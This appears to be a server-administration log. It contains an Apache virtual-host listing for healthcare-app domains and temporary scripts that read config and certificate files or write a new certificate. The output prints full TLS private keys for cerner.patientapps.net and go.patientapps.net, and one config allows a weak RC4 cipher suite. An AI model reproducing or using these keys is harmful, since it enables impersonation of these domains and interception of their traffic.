         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-24 06:00:52: 

PUT: /tmp/pkp887995

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_cerner_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-24 06:00:52: 

chmod 755 /tmp/pkp887995; /tmp/pkp887995; rm /tmp/pkp887995

2026-04-24 06:00:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_cerner_net.conf	1680

<VirtualHost *:80>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-24 06:00:52: 

PUT: /tmp/pkp553286

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-24 06:00:52: 

chmod 755 /tmp/pkp553286; /tmp/pkp553286; rm /tmp/pkp553286

2026-04-24 06:00:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt	5368
fc:df:68:73:f4:20:43:31:1a:24:a3:49:05:f5:a6:c4

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBcwuZ8I4DYroDHEe2wWWK/p9MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDI0MDUwMjE4WhcNMjYwNzIzMDUwMjE3WjAhMR8wHQYDVQQD
ExZjZXJuZXIucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEA3nkesPFdJ2xsfKIN/fennB5gHGQYyhLPaYnbX9LldAdW8yPvu0Hz
+AcaKlcZ0XxALUCsSKWAzmjFtTlIUJfxkkFZgcE1Hdd3R353y9mScb61+L4S8a3c
bocGJXIL6zvor4wVRkgG75z2yHboBsluhhsJGBRs/rMrf5mfNn5vXJjwvSLZJiN5
HPvFODo0bWGzrWoC95vI/hv9PmroHY2fEE9OI7dAarYVuztPbI0NEUX/TI7OI7ob
I9nWZvCHcR6/bh/MqTMQIjetATGuF1E5gF+BBIRGiEm1yICWuhPViOVsGeongv7w
k3CZdv5fVQ4ynBGXL0+4HBthm7NzMdpLyQIDAQABo4ICJzCCAiMwDgYDVR0PAQH/
BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFNvdWxL88k5HChglCqWULZkQLqM7MB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wIQYDVR0RBBowGIIWY2VybmVyLnBhdGllbnRhcHBzLm5l
dDATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8v
cjEzLmMubGVuY3Iub3JnLzEyNi5jcmwwggEOBgorBgEEAdZ5AgQCBIH/BIH8APoA
dwDYCVU7lE96/8gWGW+UT4WrsPj8XodVJg8V0S5yu0VLFAAAAZ2+E5tjAAAEAwBI
MEYCIQCkVCmzjXCJSNFqPjY1id3XczfMZJtg/XoxjAZ1CeOV8wIhANGEQfgOZll/
zguMiGgqiONjwMaTWpwWka5Cgo/yl6EaAH8AJuNkblhpISO8ND9HJDWbN5LNJFqI
2BXTkzP9mRirRyMAAAGdvhObPAAIAAAFAAnTD14EAwBIMEYCIQCZEIhEVdq+ZqhM
6Fgto9LpFLmz16qEZ8k4wmzBXln9PwIhAJE5Obm52WOuX4OgAvzqBMy1WaB50egC
FyRBUQZsb2+7MA0GCSqGSIb3DQEBCwUAA4IBAQAORcoTWIrXI+f25clTr2G3zMJH
SDPf314uVrJmIAqJn5oJ/6S++jzMOtm0YUv1hMhoGL1rmg9zVudNxhnneqkgMU4V
0HXVIcJ/a69+qastvqUlTA/9zof/1rE8VrqvwgVjZepPj9Zf/8zDBX5WuOD2+SBo
w56oPSCuSpSF2MF3TwXLW/Q+xKifml6mPyeRTxk+UqKA0RJm824f1KCksBZ80sqy
F4krRvdJIl+9+dbYzP0LV4dOaCjASXxgQ1fiwKFOhNOq5UWdp6nBBuDogGf1RM89
bTuCtd/AIwtSWT+zqYQAieSjHcuZvTd1HC09ZUXvQYNkc9Lx7XLNUItxw1Y/
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDeeR6w8V0nbGx8
og3996ecHmAcZBjKEs9pidtf0uV0B1bzI++7QfP4BxoqVxnRfEAtQKxIpYDOaMW1
OUhQl/GSQVmBwTUd13dHfnfL2ZJxvrX4vhLxrdxuhwYlcgvrO+ivjBVGSAbvnPbI
dugGyW6GGwkYFGz+syt/mZ82fm9cmPC9ItkmI3kc+8U4OjRtYbOtagL3m8j+G/0+
augdjZ8QT04jt0BqthW7O09sjQ0RRf9Mjs4juhsj2dZm8IdxHr9uH8ypMxAiN60B
Ma4XUTmAX4EEhEaISbXIgJa6E9WI5WwZ6ieC/vCTcJl2/l9VDjKcEZcvT7gcG2Gb
s3Mx2kvJAgMBAAECggEAA5M0aDJdTpIEnEeJ0OFAN7KZ1Vr2bU1xOPYWuz0vyHYc
lwOmiWxh5Y1OhcMWRWk7c1oj2FJwiAUsteDQoT99iblGivD2K0QF+9Cz4dWUppT9
+MC+UudVecXJschZrBxUDzBmO7EtwjZBzGW8w6O6KTxijitct0+mVicpQGLtdg25
uFnOD4QASegqK2Oz4VyBXP9PlD6+SzArDgSp8f0KQar8PgHjFE/8TKq8/Rb94Npo
Dl1sklp4SBIqQrJDApmpfa8OXWofsC27tcBA9aINnQVgnzx0LMgDbea3O0KBgcJh
OwxQS3oAmERLm5E3D3vUxl6REONn96TJnF7HGoV6UQKBgQD9lTn8gC2ldd499jeA
crP27y6mnfHgm3iqTkblgc2dgJqBQdnh+Ku5d7NJsWLX7X6zYUuyiyLhZNIikrW8
APwtC9d6nJU8o8wgRx5+PXNHt2bBgNJVyAbL8b9o9vjvooktaX2YItQDMrXl7lqq
KLjBFHQbw86UTTYpAe4Vo66f6wKBgQDgl/tOOoDHPkWDnaYXuz6ldWvWRucaVoKx
I5qBD5CUjtlI0jTkXq6sh9QEYkVn4J5gbZxnWlEiEg44Rd1z/y5+0YztXk/pKKYO
K/wqHTKUzjewXRiYPyx/quUoSAfSHGvoo2iNe2PcS/SED97vwnsGCe2gx1gYF+oO
OzjInMDKGwKBgQDS+1iug/r2gnXxOaz9+vFOz7wRtrHrPY+MquoDxBbOJ5TlXGOq
xloiSrxp4OOrYhcbqiTwHSFdRKQtTcFU9cDavdJ/Wk40kNeiN2nggMIsdiRRdRwL
cQxunOmzrGB8CNB3byCm9rtNGeELuF/I2W62fo0IGMcEzqT0Q33SlUgSFwKBgGYf
tX3UzEnM3v8B6ExSMCI8SlSc2Oj4/WRetBqLYUqrydF7A+Hzy6lX+egkZzrcwCdI
sB2uy8WaQC0GV7QvDI1N667je6KhgSBgj8D2ldFkE552NoDD+Q/0PU8bsbKwicC2
zQvIV5gMUZrbPJv46sfMK+k3u6748MyX0TInVOKRAoGAQhPFznP/xYOI+xLePyYl
5FCSlPWmmBVZzrQYpf2NP96ZxPRwxgQGWLGuRbUcAc2WhepFVcuQa1LvtBukduq4
XDuH/e3TE1k8aIYIOvkZg/weYY1VKYn4FV/tu+28zBQ7S0zVZhoSGNXt3Ey3UWMA
SdLJ1uwoIPMBt1hn7/KoXds=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-24 06:00:52: Establishing a connection
2026-04-24 06:00:52: Establishing a connection
2026-04-24 06:00:52: 

PUT: /tmp/pkp906180

#!/bin/bash
if [ -d "/var/www/patientapps_go/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-24 06:00:52: 

chmod 755 /tmp/pkp906180; /tmp/pkp906180; rm /tmp/pkp906180

2026-04-24 06:00:52: 


0


2026-04-24 06:01:23: Establishing a connection
2026-04-24 06:01:24: 

PUT: /tmp/pkp601101

#!/bin/bash
temp_file=$(mktemp)
TARGET=8da89970bb61038d506425dda08af7c6.crt

cat > $temp_file <<'endmsg'
2a:c7:1e:32:fc:20:bb:c7:1b:cd:13:06:de:42:03:ab

-----BEGIN CERTIFICATE-----
MIIE/jCCA+agAwIBAgISBUkdMc7ma+8XdayVglcSDnhkMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDI0MDUwMjUwWhcNMjYwNzIzMDUwMjQ5WjAdMRswGQYDVQQD
ExJnby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCylR6d96wzogJOUkps34dX17qlEccy/630CU39m89IdDXIzZCYTixraH/q
dOBnJHTmo6vXor++cQ9WUIcxL9QWaiPKFuYcddv2/uYpo93snI9SJGiPk1qRnrym
6NuGaXh7ZSrGtQYtuXeaRyermesu60uQoDh15LDKW5IcDE4L1g+qW2L73vcUmJAO
irTEsGj05iCOSX5iWY8JH4SstDTn9ekU8A/2bvVKR0gYPGELW5IFts5Zoj+i3sTM
XEgdssiXw4KEvoKD2dAjjJch6U7qg5o6nR3fgRfud2y2kvB0NlaO1d8p28vloH4u
RlQCIGnu2X/iR7+3F/de+OrGYa0/AgMBAAGjggIgMIICHDAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
RCESznhIt03dp1qJB6HgVB8m6+4wHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKE
DjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmku
bGVuY3Iub3JnLzAdBgNVHREEFjAUghJnby5wYXRpZW50YXBwcy5uZXQwEwYDVR0g
BAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMy5jLmxl
bmNyLm9yZy8xMDEuY3JsMIIBCwYKKwYBBAHWeQIEAgSB/ASB+QD3AHYAyzj3FYl8
hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGdvhQauQAABAMARzBFAiEAmnRT
ptSoK6tqkgIfRBXisFbeoDkwc0i8ihkzoXnWGmsCIFSogSsmg5k3KokMHFjlrD6t
tbjjjHFgWIeQWvNsfANsAH0AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8
VScAAAGdvhQdQgAIAAAFAAgZW0EEAwBGMEQCIF4jhzhgt7QDuMFR564HHw58tOM4
8H+jXwaB/ziO5gCwAiARkia2TOPFV/Qh+CDlrLDpJNuqJZuXcuFC0wEdm9+5izAN
BgkqhkiG9w0BAQsFAAOCAQEARh5JoOawRkUE902Y4nd2+dfJSOt9xNl5T8a/+sVR
FC6jUPTMhm+J4xKDjFASRqBklbOASFAloc4gIc/uvhxW0PRFBWTg1/MGbi6rqT2p
Ad1TMek+4vUpnU2KfgrxuW8dGXUOS1i4dfsNSdinuHz17lc1lJvvvWEQkuCjDaKR
9FnWjdjRWBLBJlF/ZjrRXVGPTWtvsDx5OA9lvCbn8tZijW+vp7hfq7QyEMLhDwc9
6E1ASGWe1hhWj8I/BIJzoO7gaaQL/M3VzZOtf/EnV/Q5xbyEuDtPt7RgLrJ+s+OU
gV/vuA7TAxOyQoRCqAczuYHJhmTKL8rMoBQtlBN59mXfwQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCylR6d96wzogJO
Ukps34dX17qlEccy/630CU39m89IdDXIzZCYTixraH/qdOBnJHTmo6vXor++cQ9W
UIcxL9QWaiPKFuYcddv2/uYpo93snI9SJGiPk1qRnrym6NuGaXh7ZSrGtQYtuXea
Ryermesu60uQoDh15LDKW5IcDE4L1g+qW2L73vcUmJAOirTEsGj05iCOSX5iWY8J
H4SstDTn9ekU8A/2bvVKR0gYPGELW5IFts5Zoj+i3sTMXEgdssiXw4KEvoKD2dAj
jJch6U7qg5o6nR3fgRfud2y2kvB0NlaO1d8p28vloH4uRlQCIGnu2X/iR7+3F/de
+OrGYa0/AgMBAAECggEADymrJlV7qQyl7nl9OT5HcxVtkwtt4u4jmndZyGE82dWI
JYsSrmPg0KPYTJNs5EULqfOWqSH37tcRqs3+lJYPh3GupT+JfTwil5ev+jQgKTFn
190ghaRIydl1AiT+UqzM3olJ9wIyypoXRiGphB/3AI5Y5ag88wGeYyggQUJoNAfu
BAILODofrBTuUedcBluqqQzVlfwlMKeNgO9Cwhd226C93XOrnjJXUO6dqlJpVFHF
jUDo25QZCiZgxc0kqjZtP+sxHEEIOTMU+2CywsTACUV1089JqtWi4n8XTzFH+V/c
NP2kWL3Ab6gr5UOg4OJhXV45+jt+ykTRreEHHXM/9QKBgQDhKsCAJU8H8HDbM7oX
kHql7S4SPLu/8T2BZUvtf7R5weBsqRzIwp5abTMIicyQ9BW5KzQSuJHajd8OpLSk
7Vo/YQfwXWa59C0iR+oDFadn1/ZIcqu2Ds8q4xGApUf3N98UrEzCUNB/1oyVH7PP
Yzsx27fZIaoh0XWQUQ29u/LKgwKBgQDLCVgTM26zEi9e+CKrP63/W2GJF/1Yo9Ho
ToT1IG3ZO36/d0d2gKtuenIMxMoL6Tdcc83g5P5skdEWjVTxf2E7m+EiJ5zFNxN4
lb5n0JBxmGgM1Cb7AWyhhQn3GI7BckR1zzhVcMRk0HVwxwJOT2KeqBJK4WVrZLKf
PdMF6enFlQKBgDe10zEhif9F3zZtAvMHnUDmgQqkGjPwZS5ZuMKHYUjqzjM0WFnX
xURMVl8bcRDAQ4uwA89J+VRg27qMx+EylKyvvj4bbeo+XthngJ/IwMWxqk7ciF2g
JmPPEKqKulaRbVF5G/jL8/pdRCU1VdDPFXtNiJxhdu2tHHBbjZHPKdAvAoGAZvg9
L7e026JMXfiv9HOeNdRNWe7NsKecbBluOrcQnswaktXWa1YEG0qEDs+6vGGxjvS4
I+de1Qb6qFpTCwsT79w1SFIYorg06sHex92xc7rcgi0R+9iUFDJZhHRy6c6ew7St
GD/RimNiPCjhlX+TP21zoYBAJD/0iuga3nPr+CUCgYEAiMuOwEM4p1TBccxFhsgN
ZCQ+jTbOvJrciD74qcb4BTohk4/IENCCajU69pdoOQNFUA5pjmC5VDvyF5t9nB6z
Hz6I4QNgooV0qijW2suAoA3uCf3OQEt00b9LhyerkKoyWFZ0p96KqxCGlIcB9sD+
fUEetZOKlqPRtY3X5zv/oPE=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
